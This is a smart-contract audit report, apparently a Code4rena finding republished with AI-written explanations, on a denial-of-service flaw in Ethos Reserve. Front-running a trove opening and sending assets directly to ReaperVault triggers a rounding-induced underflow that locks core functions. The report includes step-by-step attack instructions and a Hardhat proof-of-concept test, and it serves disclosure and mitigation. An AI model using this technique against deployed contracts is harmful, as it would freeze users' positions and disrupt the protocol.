DOS by directly transferring assets to Reaper Vault
An attacker can cause a denial of service by directly transferring assets to the ReaperVault, which makes the ActivePool's rebalance logic underflow and revert. This disables core protocol functions such as opening and closing troves until the team manually transfers enough assets to fix the underflow.
Submitted by gjaldon
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/ActivePool.sol#L251 https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/ActivePool.sol#L264-L274 https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L207 https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L185
Attacker can DOS the protocol by directly transferring assets to the ReaperVault. This causes a DOS by underflow in the ActivePool._rebalance logic. All core ActivePool functionality will be disabled including all BorrowerOperations functionality and other functionality that relies on ActivePool. This essentially renders the protocol unusable until the protocol team figures out the fix, which is to directly transfer enough assets to ReaperVault to address the underflow. Even then, the attacker can just repeat the attack and make the protocol unusable once again.
Proof of Concept
With the below steps, an attacker can DOS the protocol:
- A trove already exists and an initial deposit to the ReaperVault was already done by the ActivePool.
- Bob opens a Trove using 190e3 WBTC as collateral (this could be any amount enough to satisfy the minimum borrowing amount of 90 LUSD).
- Alice (the Attacker) frontruns Bob’s openTrove transaction and transfers WBTC directly to the ReaperVault. The amount of assets transferred will be 1 + amount of assets ActivePool will deposit to the ReaperVault based on yieldingPercentage when Bob’s openTrove tx is processed.
- Due to Alice’s frontrun, the below branch in
ActivePool._rebalancewill trigger during Bob’sopenTrovetransaction:
} else if (vars.netAssetMovement < 0) {
IERC4626(yieldGenerator[_collateral]).withdraw(uint256(-vars.netAssetMovement), address(this), address(this));
}
vars.netAssetMovement will be -1 because of Alice’s direct transfer of assets amounting to 1 + ActivePool’s deposit amount.
- Because of Alice’s direct transfer of WBTC to ReaperVault, let’s say 1 Vault share is now worth 15 units of WBTC.
ReaperVaultERC4626.withdrawconverts assets to shares with some rounding up behavior and then converts those shares to assets again to get the amount withdrawn. This leads to at least 15 units of WBTC being withdrawn even thoughvars.netAssetMovement = 1. - It is this difference between the amount of assets withdrawn from the ReaperVault and the accounting for total yield amount (
yieldingAmount[_collateral]) that causes an underflow in subsequent calls toActivePool._rebalance. The underflow happens here:
# `vars.sharesToAssets` is now less than `vars.currentAllocated` and this operation will now always revert due to underflow.
# `vars.sharesToAssets` is total assets in the Vault while `vars.currentAllocated` is `yieldingAmount[_collateral]`.
vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);
Here is the git diff for a test POC that shows the attack. To run the POC, do the following:
- Copy all contents of the gist to
/tmp/changes.patch - Clone the project repo and cd to the Ethos-Core directory.
- Run
git apply /tmp/changes.patchin the Ethos-Core directory. - Run
npm installfrom the command line from Ethos-Core’s root directory - Run
npx hardhat test --grep "DOS attack". The test should pass
The git diff is huge since it includes copying of Ethos-Vault contracts into the Ethos-Core project so they can be used within the Ethos-Core tests. The test looks like:
it("DOS attack", async () => {
await activePool.setYieldingPercentage(collaterals[2].address, 1000, {
from: owner,
});
await activePool.setYieldClaimThreshold(collaterals[2].address, 10000, {
from: owner,
});
await collaterals[2].mint(alice, dec(10_000, 8));
await collaterals[2].approve(borrowerOperations.address, dec(10_000, 8), {
from: alice,
});
await collaterals[2].mint(bob, dec(10_000, 8));
await collaterals[2].approve(borrowerOperations.address, dec(10_000, 8), {
from: bob,
});
await collaterals[2].mint(carol, dec(10_000, 8));
await collaterals[2].approve(borrowerOperations.address, dec(10_000, 8), {
from: carol,
});
await lusdToken.unprotectedMint(alice, dec(100_000, 18));
await lusdToken.unprotectedMint(bob, dec(100_000, 18));
await priceFeed.setPrice(collaterals[2].address, dec(100_000, 18));
const reaperVault = contracts.erc4626vaults[2];
await reaperVault.grantRole(
await reaperVault.DEPOSITOR(),
activePool.address
);
await borrowerOperations.openTrove(
collaterals[2].address,
dec(190, 3),
th._100pct,
dec(90, 18),
alice,
alice,
{ from: alice }
);
// Alice frontruns Bob's deposit by transfering 300_001 WBTC to ReaperVault.
// 300_001 WBTC is 1 unit of WBTC more than the yield that is going to be
// deposited to the ReaperVault.
await collaterals[2].transfer(reaperVault.address, 300001, {
from: alice,
});
await borrowerOperations.openTrove(
collaterals[2].address,
dec(3, 6),
th._100pct,
dec(90, 18),
bob,
bob,
{ from: bob }
);
// Protocol is now unusable
await assertRevert(
borrowerOperations.closeTrove(collaterals[2].address, {
from: alice,
})
);
await assertRevert(
borrowerOperations.closeTrove(collaterals[2].address, {
from: bob,
})
);
await assertRevert(
borrowerOperations.openTrove(
collaterals[2].address,
dec(190, 3),
th._100pct,
dec(90, 18),
carol,
carol,
{ from: carol }
)
);
});
Tools Used
Manual Review, Hardhat/Truffle, VSCode
Recommended Mitigation Steps
Changing ReaperVaultERC4626 withdraw to round down instead of up fixes this issue. Below is the fixed code:
function previewWithdraw(uint256 assets) public view override returns (uint256 shares) {
if (totalSupply() == 0 || _freeFunds() == 0) return 0;
shares = (assets * totalSupply()) / _freeFunds();
}
0xBebis (Ethos Reserve) disagreed with severity and commented:
This doesn’t seem like a reasonable attack vector, but definitely good to know. I think it should be downgraded to low. In my opinion, changing the implementation carries far greater risk than the potential for this DOS.
I think this vector qualifies for medium. Warden has stated the conditions for the attack.
0xBebis (Ethos Reserve) confirmed and commented:
We’ll confirm this as medium, we’re just going to remove the ERC4626 interface since this will be a private vault.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the vault's withdraw function rounds up the number of shares to burn, so a direct asset transfer inflates the share price and causes the protocol to withdraw more assets than its recorded allocation, leading to an underflow in profit calculation.
Impact
All core ActivePool functionality, including all BorrowerOperations functionality, is disabled, rendering the protocol unusable until the team manually transfers enough assets to address the underflow; the attacker can repeat the attack.
What the attacker needed
Attacker can frontrun a trove opening; attacker holds enough collateral to transfer; a trove already exists and vault has deposit
The fix
The report recommends changing ReaperVaultERC4626 withdraw to round down instead of up; the team confirmed the issue as medium and stated they will remove the ERC4626 interface since the vault will be private.
How it was found
- A trove already exists and an initial deposit to the ReaperVault was already done by the ActivePool.
- Bob opens a Trove using 190e3 WBTC as collateral (this could be any amount enough to satisfy the minimum borrowing amount of 90 LUSD).
- Alice (the Attacker) frontruns Bob’s openTrove transaction and transfers WBTC directly to the ReaperVault. The amount of assets transferred will be 1 + amount of assets ActivePool will deposit to the ReaperVault based on yieldingPercentage…
- Due to Alice’s frontrun, the below branch in `ActivePool._rebalance` will trigger during Bob’s `openTrove` transaction:
- Because of Alice’s direct transfer of WBTC to ReaperVault, let’s say 1 Vault share is now worth 15 units of WBTC. `ReaperVaultERC4626.withdraw` converts assets to shares with some rounding up behavior and then converts those shares to…
- It is this difference between the amount of assets withdrawn from the ReaperVault and the accounting for total yield amount (`yieldingAmount[_collateral]`) that causes an underflow in subsequent calls to `ActivePool._rebalance`.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault is a smart contract that holds and manages assets. The protocol deposits some assets into this vault and later withdraws them, keeping track of how much it put in. If someone sends extra assets directly to the vault, the vault's share price changes, so when the protocol withdraws, it gets more assets than expected. That mismatch makes the protocol's accounting go negative, causing a revert that blocks all trove operations.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.